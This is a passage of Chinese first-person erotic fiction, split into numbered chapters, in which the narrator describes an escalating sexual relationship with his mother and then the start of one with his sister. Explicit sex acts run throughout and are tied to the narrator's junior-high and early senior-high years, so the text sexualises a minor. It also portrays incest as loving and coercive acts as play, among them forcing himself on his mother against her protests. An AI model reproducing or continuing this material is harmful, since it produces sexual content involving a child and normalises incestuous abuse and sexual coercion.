我连自己的衣服也脱光,然后就压在妈的身上。我觉得温温软软的,好舒服。我紧紧的抱着妈,把头放在妈的肩膀。这时妈又睁开眼了,而且这次脸上的表情好像是很讶异的样子,然后随即就把我推离她的身体。我侧卧在妈的旁边,有点紧张,心想妈大概生气了。

妈躺着侧着头注视我,我被妈看得有点心虚,不知道妈接下来会怎样发飙。但妈却慢慢的把目光往下移,我发觉妈是在看我的下体。这时紧张归紧张,阴茎还是硬梆梆的翘着。然后妈开口说话了,妈说我的鸡鸡从什么时候开始会变大的,我说从小学六年级就会了。妈注视着我说没想到我长那么大了。我不知道妈是说我长大了,还是指我的阴茎。

妈又注视着我,问我知不知道男女之间的事。我潜意识觉得妈是问我有关男女性方面的事,于是我把我知道的跟妈讲,连在班上看A书都跟妈讲。妈还问我A书都在写些什么,我也就把A书的剧情大略的跟妈讲了。

结果我跟妈两人就这样裸着身体谈了十几分钟。然后妈突然问了一句说刚刚我把她的衣服和我自己的衣服都脱光了,我是想做什么。结果我脱口而出说我想跟妈做爱。妈听了愣了一下,随即又问为什么会有这种念头。我就把我晚上打枪幻想跟妈做爱的事说给妈听。妈又问我从什么时候学会自慰的,我说国小六年级。

接下来忘了又谈些什么,只记得妈笑一笑闭上眼睛,然后我很兴奋的翻身压到妈身上抱着妈,阴茎压在妈得阴阜上,我下身一直上下顶着,没多久就射精了。

射完精我还是抱着妈,不过妈好像知道我射精了,就把我推下去。我低头一看,我跟妈的小腹都是精液。妈说她要去洗澡,拿着她的衣服就出去了。我则躺在床上,因为刚射完精有点想睡。过了不知道多久妈又进来,衣服都穿在身上了。妈把我摇醒叫我去洗澡,洗完再睡。我很想睡,不过还是去洗了,因为小腹黏黏的也不大舒服。洗完穿好衣服回妈的房间,妈还没睡着,妈叫我赶快睡觉,下午还有线头要剪。

就这样与妈发生了第一次的亲蜜关系,虽然不是真正做爱,不过感觉跟妈变得很亲近,肉体上的亲近。而且之后妈对我的容忍度又提高了很多。

——————————————————————————–

4。再上一层楼

当晚睡觉时,我先进卧室。妈通常都是全家都睡了后才进卧室睡觉。等妈进卧室时我都快睡着了,不过我还是硬撑着,因为想跟妈亲热。当妈进卧室时我闭着眼睛装睡,妈看了以为我睡着了,爬上床在我脸颊上亲了一下。

印象中妈好像从来没有这样亲过我,或许很小的时候有过,但已不在记忆里了。我蛮讶异的,于是张开眼睛就亲回去了,原本我也是想亲妈的脸颊,但却亲到了妈的嘴唇了。

这下轮到妈吓一跳,我自己也吓一跳。不仅是吓一跳,心里面还有一些难以形容的感觉,很想再亲亲妈,而且是那种真正的接吻。妈愣了一下后,没说什么,躺下来就准备睡了。我等妈躺好后,翻身抱住妈,然后嘴唇就往妈的嘴唇凑上去了。

那时我还没有接吻的经验,只在电视及电影上看过,也不知道什么是法国式热吻。我抱紧妈亲了一下又一下,起初妈还有点挣扎,但我把妈抱得紧紧的,妈就不再挣扎了。

一直亲到我过瘾为止才放开妈,这时才发现其实妈也把我抱得紧紧的。我就这样任妈抱着,迷迷煳煳的就睡着了。这一觉睡得很沉,清晨一早天都没亮就醒来了。醒来之后继续躺着,慢慢的脑子开始清醒了,不过也发觉下面弟弟硬梆梆的翘着。

这时习惯性的拉下裤子就打起枪来了,打着打着忽然间想到昨天白天发生的事,心想妈就睡在旁边,干嘛要这样打枪。于是先把自己的衣服脱光,然后开始脱妈的衣服。还没脱完妈被吵醒了,醒来后发觉我在脱她衣服愣了一下,但没说什么,也没有什么抗拒。于是我继续的脱。

结果又碰到同一个问题,就是妈的胸罩还是不会脱。妈看我手忙脚乱的,笑了一下,起身来自己脱掉了,这时我才知道原来胸罩的扣子是在后面,难怪我怎么脱都脱不下来。

妈解下她的胸罩后又躺了下来,这时妈已经全裸了。我好兴奋,马上就翻身压在妈的身上抱着妈,妈也环手抱着我。我就不想这么快就射精,想多享受这种肌肤接触的感觉。这次维持比较久,后来射出来了,又弄得妈跟我的小腹全是精液。

就这样维持了十几天,每天晚上都跟妈两人光熘熘的抱着,直到我射精。有时候放假,白天又只有我跟妈在,若我又想,我就拉着妈进卧室。直到妈的MC来时。那晚她不愿我脱她衣服,也不喜欢我抱她。那时我对MC也不是很了解,只知道女人在这期间下体会流血。

第一次妈MC来时那天晚上睡觉前我照例先脱了自己的衣服,然后脱妈的衣服。但妈把我的手拨开叫我不要脱,并且跟我讲她MC来了,也稍微解释什么是MC。其实我也听不大懂,不过妈的下体流血,我也就不敢怎样了。

不过问题还是在,我还是性致勃勃。我坐在床上握着坚挺的阴茎问妈这要怎么办,妈笑着说就自己自慰呀。妈还说从来就没看过我自慰,刚好让她看一看。于是我就坐在床上自慰起来。我在自慰时一直看着妈,妈则是目不转睛的看着我的弟弟。

我越打越快,打得手好酸,但就是出不来,大概是我人在旁边看不习惯。后来实在不行了,手太酸了,只好停下来休息。妈看我停下来了很奇怪的就问怎么了,我说手很酸,妈听了大概觉得很好笑,一直笑个不停。

这时我突然想到A书上的吹喇叭,于是就跟妈说,要妈给我吹。妈听了有点惊讶,她说她听人家说过,可是她从来没做过。我要求妈做,但妈不肯,我问妈是不是觉得脏,她说是不好意思。因为要做妈的把儿子的阴茎含在嘴里吸吮觉得很难为情。

于是我退而求其次,要妈帮我打手枪。妈顿了一下子,点点头说好。我躺了下来,然后妈就坐在我腰部旁边,手握着我的阴茎开始打起来了。跟自己打的差很多,舒服多了,不过有时候角度不对会有点痛。痛的时候我就告诉妈,慢慢的妈就打得很顺了。真的很舒服,妈还一面打一面问我会不会太慢或太快,太慢或太快要跟她讲,我告诉妈要慢点,因为我不想太快射精。于是妈放慢速度,我则注视着妈静静的享受。妈边打边告诉我说我的弟弟很大,我不知道到底怎样才算大,也就没有答话。妈又问我舒不舒服,我说真舒服。的确我是很舒服,比自己打舒服太多了。

慢慢的我开始忍不住了,我要妈打快一点。于是妈加快速度,不停的上下套动,没多久就射出来了,而且射了好多。妈的衣服还有我的脸也有被喷到,帮我打枪的那只手也沾到好。

妈拿了张卫生纸帮我擦一擦,再把自己也擦一擦,然后就起身到浴室清理了。我躺在床上,妈还没回来我已经睡着了。

就这样子,平常时就跟妈赤裸相拥,然后用弟弟摩擦妈的大腿或把妈翻身让妈趴卧,在妈的屁股上磨擦,直到射精。如果MC来了,妈就帮我打手枪。虽然妈每次MC来时我都要求妈给我吹喇叭,但妈始终不愿意。不过我也没给妈口交过,虽然我几乎亲遍的妈的身体。

妈兴致来时也会把我从头亲到脚,但就是会跳过阴茎。跟妈的接吻慢慢的有进步,刚开始时妈是紧闭双唇,只让我亲她的嘴唇。但慢慢的妈放开来了,不但会张开双唇,还教我法国式热吻,也就是将舌头伸进对方口中。我很喜欢这样接吻,只要有跟妈独处的机会,我总会抱着妈长吻。

所以不管是什么时候,只要家里只剩我们两个,我就赶紧跟妈亲热一下。不管是妈正在煮饭,或妈正在拖地板,都可以亲热。甚至家里有其他人在都会在别人不注意的时候亲热。妈很喜欢帮我打枪,这并不是她不喜欢我在她身上摩擦射精,而是喜欢握着我的阴茎,感觉它的粗大灼热。

其实并不是单是我在妈身上发性欲,有时候妈也会因为我的亲吻及抚摸而达到高潮。妈很喜欢我亲吻她的乳房,抚摸她的下体。妈的下体很容易湿,有时连摸都还没摸,只是亲吻而已都会湿。不过不是A书所形容的湿得一蹋煳涂,只是下体部位了。

如果正逢她MC来临之前几天,而且我亲吻爱抚得够久,妈就会有高潮。其间我也曾要求跟妈真的做爱,妈也不肯。顶多能让我的阴茎在她的阴部摩擦,好几次想来硬的就插进去,可是每次总被妈阻挡住。而且妈也不准我在她的下体及其周遭射精,那时我心想妈可能嫌脏。后来我终于知道原因了,因为妈没有在避孕,所以怕怀孕。

好几次要求妈帮我吹喇叭,妈始终不肯。我问妈要怎样妈才肯,妈总是说以后再说。天知道以后是指什么时候。最后我决定我先帮妈口交。一天晚上,妈洗完澡上床睡觉,我们就如同往常一样,俩人嘻嘻哈哈,边玩边脱对方的衣服,直到脱光。脱光后我让妈躺平,然后开始抚摸亲吻。

我从脸一路亲吻下来,妈发出轻微的呻吟声。直亲到小腹后我把妈的双腿拉开,这时妈的淫水已经流出来了,我没想那么多,直接舔妈的下体。第一个感觉是觉得咸咸的,滑滑的。那时我也不知道什么大小阴唇,阴蒂,反正就是整的阴部到处舔。妈被我这突来的举动吓了一跳,但随即呻吟起来。

妈的呻吟声比往常大声而且急促,我知道妈一定很舒服,所以加紧努力舔妈的下体。结果很快的妈的高潮就来了,而且很激烈,全身抖个不停。高潮过后,妈就只躺着不动,好像很累的样子。我拿了张卫生纸把妈的下体擦一擦,因为淫水蛮多的,整个下体都煳了。

妈不动我也只好躺在旁边等妈恢复神志。不知过了多久妈侧身过来看着我,我也看着妈。我问妈感觉怎样,妈红着脸点点头。妈问我从那里学来的,我说看A书学的。妈又问怎么会想到要帮她口交,我说这样妈会很舒服。妈听了好感动,把我紧紧抱在怀里。我则有点心虚,因为我另有企图,不过让妈觉得很爽是真的。

看妈这样子我也不好意思提出吹喇叭的事,不然妈一定认为我根本是另有居心,而不是为了让她爽才帮她口交。妈抱着我亲我,一只手就伸到下面去握着我的阴茎套了起来。其实我很期待妈会主动帮我吹喇叭的,可是妈没有,就这样亲着套着,我那不争气的弟弟就被妈给打得射精了。

后来我常帮妈口交,但没要求妈帮我吹喇叭,妈也没主动过。

——————————————————————————–

5。更上一层楼

国一升国二那年搬家了,搬新家当然是一件很高兴的事,但我可不开心了,因为新家房间够多,而且爸说我长大了,给我一间房间睡。这意谓着我不能再跟妈睡了。妈知道我很不开心,但也没办法,因为没理由男孩长大了还让他跟母亲一起说,妈不知道怎么跟爸说。

我自己很心虚,更不敢跟爸说想跟妈一起睡。于是我睡一间,爸睡一间,妈和姐和妹一起睡在一间铺榻榻米的房间。从此就比较少跟妈亲热了,不过也正因为这样子,跟妈的感情越来越好,似乎转成男女朋友的关系了。

由于晚上不再跟妈一起睡了,所以自己打枪的时候变多了,甚至几乎都是靠打枪解决性欲问题。因为独处机会少了,所以只要一有独处就非常珍惜。妈知道我很难过,也很心疼我。有时候会趁家人不注意时抱着我亲我。

这时期我跟妈平均一个星期亲热不到一次,通常都是趁其他人去逛赶集(住乡下的朋友应该知道,有点像夜市,但不是每天都有,通常是固定一星期一次)的时候,赶紧趁这短短的一或两个小时到我的房间亲热。每次赶集的前一两天我都会禁欲,然后跟妈亲热的时候再多射几次精。

国二寒假跟妈回外婆家住了几天,因为外婆家房间不够住,于是我跟妈就一起睡。第一天晚上我和妈进房间后就把房门锁起来,然后相拥而吻,就如同一对久别的情侣一般。长吻之后妈问我开不开心,我点点头说很开心。我真的很开心,因为我跟妈几乎半年没一起睡了。

这天晚上我们一直不断亲热,我射了好几次精,妈也来了一次高潮。最后一次我硬了好久就是射不出来,无论妈怎样帮我打枪,我就是出不来。最后我要求妈帮我吹喇叭,妈点点头。然后妈握着我的阴茎含到她的嘴中,轻轻吸吮着。第一次被吹喇叭觉得真的好爽,我忍不住一进一出的开始在妈的嘴中抽送。我的阴茎蛮长的,只能插进一半,再多妈就会用手挡住。很快的我就射精了,全射在妈的嘴中,妈没吐出来,全吞进去了。

妈吐出我的阴茎后,用舌头清理一下残留在龟头的精液后,说要去冲洗一下。因为住的房间是套房,我就跟妈一起洗了。我帮妈洗,妈帮我洗,两人在浴室玩了很久才出来。这晚上是我半年来睡得最甜的一个晚上,搂着妈睡,轻轻抚摸着妈的头发。

久别胜新婚,虽然我跟妈之间并不适用这句话,但我们都有这种感觉。几个晚上都是精疲力尽后才睡,而且都是妈帮我吹出来。我问妈怎么把精液都吞下去了,妈说是我的精液,所以就敢吞下肚。我又问妈为什么这次要帮我吹,妈说自从第一次我帮她口交之后就愿意帮我吹了,但我都没有再要求过,所以也不好意思主动帮我吹。妈问我喜不喜欢,我说很喜欢,很爽。

回家的前一天晚上,还是一样跟妈在床上亲热。我想既然要要求妈才愿意做,那这次我再要求看看,于是我跟妈说可不可以插进去。妈看着我想了很久,握着我的阴茎一边套弄一边注视着我。不知道妈在想什么,但几分钟后妈脸突然间变得很红,然后低着头点了点头。我又惊又喜,因为被拒绝太多次,这次也只是抱着再试试看的心态询问,没想到妈答应了。

我马上翻身压在妈身上,把妈的双腿撑开,然后一只手握着阴茎就往妈的穴插。或许角度不对还是其它原因,就是进不去。我一直顶着顶着,还是进不去。妈原本一直闭着眼睛,我顶了几分钟后,妈张开眼睛了。我说我插不进去怎么办,妈笑着说那就不要插了呀。我当然要插呀,于是我把妈的腿撑得更开,然后换一个姿式,在妈的双腿间用跪坐姿再试试看。这样可以看得到妈的穴了,于是握着阴茎对着妈的穴插进去。

这次很顺的就插进去了,感觉紧紧的,暖暖的,好舒服。我两手抓住妈的膝盖,把妈的腿撑得很开很开,让整个下体露出来,看得更清楚。我开始抽动起来,同时看着妈。妈闭着眼睛,皱着眉头,看不出来是舒服还是不舒服。我抽插得很快,结果很快不行了。我用最快的速度猛插猛抽,很快的就射出来。那种感觉好像要爆炸一样。

射完后我倒下去趴在妈身上,妈抱着我,抚摸我的头。我的阴茎并没有拔出来,还是插在妈的穴里。感觉温温的,滑滑的。几分钟后妈叫我下来,她要擦一擦。我下来后妈拿卫生纸擦一下我的阴茎,整根都湿湿的,龟头还有一些精液。擦完我后妈擦自己的下体,妈的下体也是湿得煳煳的,穴口还有白白的精液流出来。

清理完后两人抱着躺在床上,我问妈感觉怎样,舒不舒服。妈点点都说很舒服,尤其刚插进去的时后那种充满的感觉还有我一进一出的感觉让她全身都麻掉了。妈又说她已经很久没做爱了,我的鸡鸡又比较长,所以舒服中又有点痛。

我亲着妈,妈把舌头伸到我嘴中让我吸吮着,同时用手套弄我的阴茎。我想妈还想再来一次,因为妈知道我每次吸吮她的舌头的话我就很快又会想要了,所以有时候妈故意要逗我就把舌头伸进我的口中让我吸。很快的我的鸡鸡又硬起来了,我用同样的姿式又干了妈一次,这次就维持比较久了,可是妈并没有达到高潮。这晚我们做了好多次,做到精疲力尽后才睡。我睡到尿急半夜起床小便后回床上,又把妈的腿拉开干了一次。

隔天早上起得很晚,不过妈倒很早就起床了。吃过午饭就回家了。

这几次跟妈做爱,妈都没有高潮,我想可能是我的技巧太差了。不过后来慢慢的我的技巧变好了,耐力也延长了,妈也开始有高潮了。到目前为止的最高记录是连续七次高潮。那是我读大学的时候有一次跟妈去宾馆做。那次事后妈整个人软绵绵的动也不动,摇她叫她都没反应,把我吓了一大跳,还以为妈怎么了。直到半小时后妈才有些力气说话,她说她动不了了,让她睡一下,我想妈是太累了。

到现在妈有时候还会把在外婆家那几次做爱拿出来笑我,妈说那晚做那么多次每次都只不到一分钟,年纪轻轻就早。不过慢慢的妈越来越少拿这件事笑我,因为到后来每次做爱都是干到妈开口求饶。这时她就帮我吹出来,如果我继续干的话,那妈就又会瘫在床上动不了了。不过我还是喜欢射在妈的穴内,然后看精液缓缓从妈的穴口流出来的样子。所以每次如果妈不行了帮我吹时,吹到我快射精时我就把鸡鸡抽出来,然后插进妈的穴,快速的抽插直到射精。

有一次我问妈为什么愿意跟我做爱,妈说她自己也很需要,加上我们经常亲热,老是弄得妈上不上下不下的。而且口交毕竟跟做爱是不一样的,每次看我射精的样子,就很希望这是射在她的身体里。我以前要求跟妈做爱,其实妈是很想,但又觉得一下子就答应好像太那个一点,至于主动那更是不可能。妈说如果那时候我用暴力强奸她,她绝不会怪我,因为这好像是一个很好的解决方式。第一次做爱前之所以妈会想那么久其实是在计算安全期,那几天刚好都蛮安全的,而且妈自己也有点想,所以就同意了。

其实我有点虐待狂,因为我很喜欢把妈干到她披头散发,满床打滚,然后开口求饶。用狗爬式时我就从后面扯着妈的头发,有时喜欢要妈跪着帮我吹喇叭,然后我从梳妆台上的镜子里看我的阴茎在妈的嘴中进进出出的样子。甚妈在上大号时我也曾打开浴室的门(用硬币就打得开那种喇叭锁),然后拉下裤子,手按住妈的头,掏出阴茎就往妈的嘴里塞,一直抽插到射精。妈也说她上辈子欠我。

妈有时候也会色色的,性起的时候就会挑逗我。尤其喜欢我含她的乳头。有时在看电视时,冷不防的解开上衣扣子及胸罩,挺着奶子就往我嘴巴塞了。妈也很喜欢接吻,任何场合跟时间只要是两人独处,想到就来个长吻。妈的舌头很灵活,总是钻进我嘴里来回纠缠。我跟我女友接吻都没这么热烈。

跟妈的聊天中知道很多事。早在我国小六年级开始打手枪时妈就知道了。因为有时我懒得上浴室打,就躺在床上轻轻的打。我一直以为妈睡着了不知道,其实有时候妈根本就还没睡着。妈第一次知道我打枪是因为床摇动把妈惊醒,妈张开眼睛看到我动来动去的,一只手还握着阴茎套动,那时就知道了。不过妈一直不动声色,就当作不知道,事实上妈也不知道该怎么办,总不能跟我说打枪过度有碍健康吧。我一直以为妈不知道的,因为在床上打枪都会放轻动作,没想到动作再轻床还是会摇。

自从妈知道我开始打枪后,每次晚上只要感到床在晃动就会眯着眼睛偷看。而陶醉在打枪快感的我却从不知道有一位观众,只是浑然忘我的猛打。射精的时候比较麻烦,有时来不及在射之前用卫生纸挡住的话就会喷得到处都是。有时连妈的衣服跟脸都有,所以善后工作就很讨厌,要清理喷得到处都是的精液。尤其是妈脸上的就要很小心的擦,免得把妈吵醒。事实上妈大都是醒着的,脸上被喷到精液也不能怎样,还是继续装睡。

妈妈看过我偷带回家的A书,她说看了没什么感觉。妈知道我在偷看她的身体,不过没有刻意避开,妈说其实她自己也蛮想让我看她的身体,至于为什么她自己也不知道。不过妈也不会刻意暴露让我看,会害羞。妈知道我都是利用晚上睡觉时偷看她的下体,她也想让我看,只是不敢那么直接。直到那一天妈故意不穿内裤睡觉,然后我看到我忍不住去抚摸。我跟妈说根本是妈在引诱我,妈笑着说谁叫我那么色,这么容易就让她得手了。

不过当然妈也不是存心故意引诱我,至于为什么会这样做妈自己也不清楚。只是想跟儿子亲近吧。

——————————————————————————–

6。回忆点滴

几年下来跟妈做爱印象比较深刻的回忆。

(1)

印象最深的当然是第一次在外婆家做爱。这不算。

因为搬新家后妈跟姐和妹一起睡在榻榻米房间,所以晚上只能自己玩自己。高一时有一次我躲在房间在书桌前看A书边打枪,打得浑然忘我。突然房门被打开了,我吓了一跳赶紧把A书收起来。但已来不及把裤子拉起来,我想这下糗了,我回头一看,还好是妈。因为很晚了,妈看我房间灯还没熄,心想我还在用功吧。于是就泡了一杯牛奶进来让我当消夜,没想到推门进去一看,儿子居然光着屁股,一副神情慌张的样子。

我看原来是妈,松了一大口气。我也不拉裤子了,轻声叫妈赶紧进来,把门锁上。妈进房间后,把那杯牛奶放在书桌上,坐在床边(床在书桌旁)噼头就问我在做什么。我笑了笑把A书拿出来给妈看,妈把书翻了一下,然后看着我说她以为我这么晚了还在用功。我说对呀,是在用功看A书兼打枪呀。

妈笑了一下,看着我因惊吓而软下去的阴茎说我很想要吗。我说好多天了都找不到机会跟妈要好,所以只好自己解决。妈很疼惜的摸摸我的头说要帮我吹出来,然后要我早点睡。说完妈就跪坐着,将我的阴茎含在嘴里帮我吹喇叭,一进一出的套起来。很快的我的阴茎又开始青筋暴起,雄赳赳气昂昂的。我抱着妈的头一上一下摇动着,整根阴茎全沾满妈的口水。妈帮我吹得很舒服,但我想跟妈打一炮。

我把妈拉起来,开始脱妈的衣服。但妈不让我脱,妈说这样很容易被发现。我知道妈的顾虑,但我实在很想。于是跟妈说就不要脱衣服,只要妈的内裤脱掉,裙子撩起来,我则穿着短裤,但前面拉到阴茎下面。然后站在书桌旁,妈面对书桌上身趴在书桌上,我则从后面插进去,万一有人在很快就可以恢复衣着。

妈还是不大敢,但是经不起我在她身上西摸摸东揉揉,苦苦挨求,最后还是答应了。我马上动手把妈的内裤脱下来,摸摸妈的下体,还是干干的。于是我让妈坐在书桌上,上身后仰双手撑在桌上,我把妈的双腿拉开,先帮妈舔一舔。妈不敢发出声来,只是唿吸声变重了。

等妈的下体够湿了之后,我让妈面对桌子站着,上身趴下。我拉下裤子,把妈的裙子拉到她的腰间,然后一手拨开妈的臀肉让穴口露出来,一手握着阴茎对准妈的穴插了进去。不过妈的穴好像还不够湿,妈皱着眉头哼了一声。我也觉得有点干干的,于是就没全根插入,只进去一半,然后就慢慢的抽插起来。

渐渐的妈的淫水多了,抽插比较顺,我开始全根插入。这时妈的喘息声变大了,但妈始终不敢发生声来。我开始加快速度,双手握着妈的腰用力抽插。妈被我干得头前后左右晃个不停,淫水也顺着大腿流了下来。过没多久妈一阵颤抖,高潮来了。我把阴茎全根插在妈的穴里,然后停止动作。妈喘了一下子后说她不行了,脚发软快站不住了。

于是只好换个姿式,我想了一想,说到床上好了,但妈说不要,心里面还是会怕。我想让妈躺在桌上,然后双腿腾空,我则站在她两腿间干。不过我想这旧书桌可能被被压垮。没办法只好先让妈帮我吹喇叭,也乘机休息一下。跟刚刚一样的姿式,我坐在椅子上,妈跪坐在我双脚间,把沾满淫水的阴茎含到嘴直中。

其实妈吹喇叭的技术蛮好的,只是我就是想干妈的穴。妈吹了一阵子后我又把妈拉起来,用同样的姿式又干了一回,直到妈的高潮来。就这样吹喇叭跟干穴轮流交替。几次之后妈己经没力了,我也很累。但这样子断断续续的干,我实在射不出来,还是硬挺挺的。妈说怎么办,怎么我都不射。妈说她真的没力了,饶了她吧。

没办法我只好把妈硬拉到床上,压着妈握着阴茎插进去,然后开始猛力抽插,想一股作气让自己射出来。我用最快的速度干着,妈一直发出呻吟声。我知道妈被我干得很辛苦,但我只想赶快出来,而且看妈这样子我也有一种虐待的快感。没多久就射精了。

射完精后妈好像累得快虚脱了,一动也不动。我拿卫生纸把妈穴口的淫水和精液擦干净,然后帮妈把内裤穿上,把裙子整理好。妈还是不动,我只好让妈躺在床上休息。我自己也很累,也就趴在桌上睡了。不知睡了多久,我被妈摇醒,妈叫我把那杯牛奶喝了。妈看着我把牛奶喝下去,抱着我的头亲了一下,问我累不累,我说很累。妈叫我上床睡觉,我上床后妈帮我把被子盖好,关了灯就出去了。然后我很快的就睡着了。

这是跟妈打炮最累的一次,妈也说她累得两脚酸痛。不过很偷偷摸摸的很刺激,但妈说下次再也不要了,因为太紧张了,连高潮的快感都打折扣了。

(2)。

这个比较不太干净一点。

有一次星期天,吃过午餐后睡午觉。一觉醒来走到客厅发觉一个人都没有,这时尿急,走到浴室准被上个小号。走到浴室发觉里面有人,我问是谁在里面,妈说是她。我问妈其他人去那了,妈说他们刚刚去阿妈家了吃喜酒了。我一想吃完喜酒也大概晚上七,八点了,再坐车回来那就更晚了。这可真是大好机会,整个下午都可以跟妈温存了。

于是我敲浴室门要妈让我进去,妈说她在大号不开门。我不管这么多拿块硬币把门打开就进去了。一进去就看到妈目瞪口呆,光着下身的坐在马桶上,短裤和内裤都拉到膝盖。我想妈大概没想到她在大号的时候我会闯进来,所以满脸错愕。我把门关上,走到马桶前在妈的脚前蹲了下来。妈瞪大着眼睛一副莫名其妙的表情,问我说她在大便我进来干嘛。我笑着说进来看妈大便。

妈脸红通通的,大概第一次在大号时有人在旁边观看,很难为情。妈叫我不要这么无聊,赶快出去。我看着妈这样子觉得好可爱,于是站起来脱光自己衣服,然后跨坐在妈的大腿上,把妈抱在怀里。妈好像被我弄得哭笑不得,表情很尴尬。因为她还在大便,儿子却坐在她的双腿上,都不知道该如何是好。

我开始脱妈的上衣,妈一直挣扎叫我不要闹。我说我是认真的,然后虽然妈一直挣扎,但我还是把妈的上衣跟胸罩脱了。于是妈从膝盖以上就全赤裸了。我把妈抱在怀里,要妈亲我的乳头。妈不肯一直在挣扎,叫我赶快出去。

我当然不肯,于是我站起来握住阴茎在妈的前面打起枪来,妈一直皱着眉头叫我不要闹了赶快出去。我说其他人都很晚才会回来,有很多时间可以玩。然后握着硬起在妈的脸上拍打,妈很不高兴的说要生气了。我想妈只是在吓吓我罢了,于是不理会妈,握着阴茎往妈的嘴巴里塞。

没想到很出乎意料之外的,妈很用力了把我推开,然后很生气的叫我马上出去。我吓了一跳,没想到妈会生气。我看着妈,希望从妈的眼神中看到妈是假装的,但妈又大声的叫我马上出去。这时我有点措手不及,因为根本没料到妈真的生气了。我说声对不起,拿起地上的衣服就往外走了。

走出浴室后我穿好衣服就坐在客厅里,原本是想回房躲一下的,但心想还是等妈出来后再跟妈道一次歉。没多久妈出来了,看到我坐在客厅里就走过来坐在我旁边。我不是怕妈责备我,而是心想这玩笑好像开得太大了,妈心里面一定很难过。我低着头跟妈说对不起,妈说没关系,但是刚刚我的行为让她觉得我在羞辱她。妈说她喜欢跟我亲热,但还是有尊严的。刚刚让她觉得她好像是一个很贱的妓女。

我当然不是这么想,我只是在跟妈玩,虽然是过份了,但我真的没有心存轻视。我一直跟妈解释,妈只是低着头听,没说什么。我说了很久,最后妈说以后不要再这样了,然后就回房间了。我一个人坐在客听里觉得很惶恐,很担心以后妈就不再理我了,也恢复母子应有的正常关系不再跟我亲热了。

坐了一会儿心想还是到妈的房间看一下好了,我走到妈的房间,门没关我直接进去。进去后看到妈站在窗前,我走到妈的身边,发现妈在掉眼泪。我握着妈的手摇一摇,妈看了我一眼,叫我出去不要吵她。

这之后的好几个月妈都表面上还是一样,但私底下就不再理我了。有时我忍不住抱抱她亲亲她都被她推开,还说以后不要再这样了,母亲就是母亲,儿子就是儿子,不要再逾矩了。我想完了,以后就必须跟妈保持伦常关系了,不能再跟妈亲热了。

为此我难过了好一阵子,我想我真的太过份了。否则妈很疼我的,一向都对我百依百顺的,应该很快就没事了。那阵子我瘦了很多,不是绝食抗议,而是真的没胃口。不但东西吃不下,连性欲都没了,所以也就很少再自慰。结果开始梦遗了,自从有自慰的习惯之后就几乎不再梦遗。这段时间不要说跟妈亲热,连手妈都不让我牵。有时家里只剩我跟妈时,我都好想跟妈就巷往日一样亲热,但妈始终就是一副冷冰冰得脸孔。渐渐的我就死心了,心想大概从此以后就是这样子了。

——————————————————————————–

7。姐弟情事

姐高职毕业没继续升学而直接就业,二十出头就嫁人了。

有一次回家,进到家里面一个人都没有。我回房间脱下衣服,到浴室冲凉。冲完后贪凉快,我想家里反正没人,就只着一件内裤,拿了一卷A片就到客厅看。我喜欢边看A片边打枪,于是把内裤拉下来,掏出阴茎就打起来了。

边看边打,就在一卷快看完,也快射精的时后,突然身后有人用很惊讶的口气叫名字。我一听吓一跳连忙往后看,姐就站在我后面,惨了,原来姐在家。姐一副难以相信的表情,说怎么可以在客厅这样子。我连忙把阴茎塞进内裤里,因为还有点硬,塞不进去,但我也不管这么多了,把A片拿出来低着头就回房间了。

回房间后觉得很糗,很倒霉,也太大意了。客听没人并不代表家里没人,人可能就在房间里呀。不过反正姐也不会怎样,都结婚了的人,对这种事应该不会太大惊小怪吧,除了地点不对之外。不过很糗到是真的,我打枪的样子大概被姐看得一清二楚了。小时候只看到姐一点点,现在全被看回去了,好像亏大了。

不知道姐会怎么想,不过反正一时也没连出房门了,就躺下来睡一觉好了。就在快睡着时,听到姐在叫我,我连忙回答,然后姐叫我出去喝绿豆汤。我有点不好意思,但还是把短裤穿上出去了。到了客厅姐已经把一锅冰绿豆汤和碗放拿到客厅桌上了,我坐了下来,姐帮我盛了一碗。为了冲淡尴尬的气氛,我赶紧跟姐聊一些有的没的。我问姐怎么回家了,姐说跟姐夫吵架,于是就回来了。我问姐回来多久了,姐说一天了。

跟姐又聊了一些其它的事,两晚绿豆汤也下肚了。我想再回房间睡觉,结果姐突然说我怎么会大白天在家看那种片子,我又吓了一跳,原以为事情过了,怎么姐又问起了。我很不好意思的说以为没人在,结果姐冒出了一句很好笑的话说那我是不是人。我笑了一笑还是觉得很尴尬,姐又问我片子怎么来的,我说买的。

姐说怎么这种东西也买得到,我听了觉得真的很好笑,这种东西不难买呀。然后姐又问我刚刚是不是在自慰,我心想这明知故问嘛,都结婚两三年的人了还装做不知道。我点了点头,装出一副很无辜的样子。姐又问我有没有女朋友,我说没有。

最后姐说做这种事对身体不好,要尽量少做,免得弄坏身体。我想姐的性教育该重修了。然后我说我想睡觉,姐嗯了一声我就回房间继续睡了。

这一睡睡到了晚餐,迷迷煳煳的又有人叫我了,我心想又要喝绿豆汤吗,我喝过了呀。结果又是姐,不过这次是叫我吃晚餐了。我觉得怎么每次被叫就是要吃东西,回到家就变猪了,咯咯咯,吃欧罗肥了。

晚餐过后全家一起吃水果聊天,结果聊的居然是姐是不是该跟姐夫离婚。我听了很惊讶,妈说我在外地读书,所以都不知道。可是妹也在外地读书,她却很清楚,或许女人家对这种事比较灵通点。爸妈好像不太同意,妹却举双手赞成,我则在旁一头雾水。最后的结论是没有结论,下次继续讨论。

这晚我正准备睡觉时(有点像猪了)姐敲门进来了。这次还好,我还没脱衣服,因为我是习惯裸睡的。姐穿着睡衣说想跟我聊聊,我听了一惊,该不会下午的话题还要继续吧。结果还好,姐是跟我聊她的婚姻,她想听听看我的意见。于是就跟姐两人坐在床上聊起来了,姐把整件事情的经过说给我听。从姐夫幼稚不成熟,到没当担不负责任。从脾气爆燥到无所事事不务正业。我则听的目瞪口呆,满脑问号。

最后姐越讲越顺,连姐夫性无能都讲给我听。她说姐夫的那根很短,又早。结婚没几年就已经不行了。我听了好尴尬,心想姐说这个给我听干嘛。好不容易姐说完了,问我的意见如何。我那来意见,根本就听得迷迷煳煳的,加上最后那一段,我的脑子有点短路了。我摇摇都说不知道

我看姐眼眶湿湿的,我不知道该如何是好,生平最怕女人哭了,我都不知道该怎么安慰姐。我想姐讲那么多话,又流了一些眼泪,我想姐应该会口渴,于是我去倒了一杯水给姐喝,姐喝了水后情绪好了一点。后来姐要我陪她躺一下,我说好。于是我们一起躺在床上继续聊。我以为姐要继续聊她的婚姻生活,姐果没想到姐提到下午的事了。我又吓了一跳,心想真不该倒水给姐喝的。

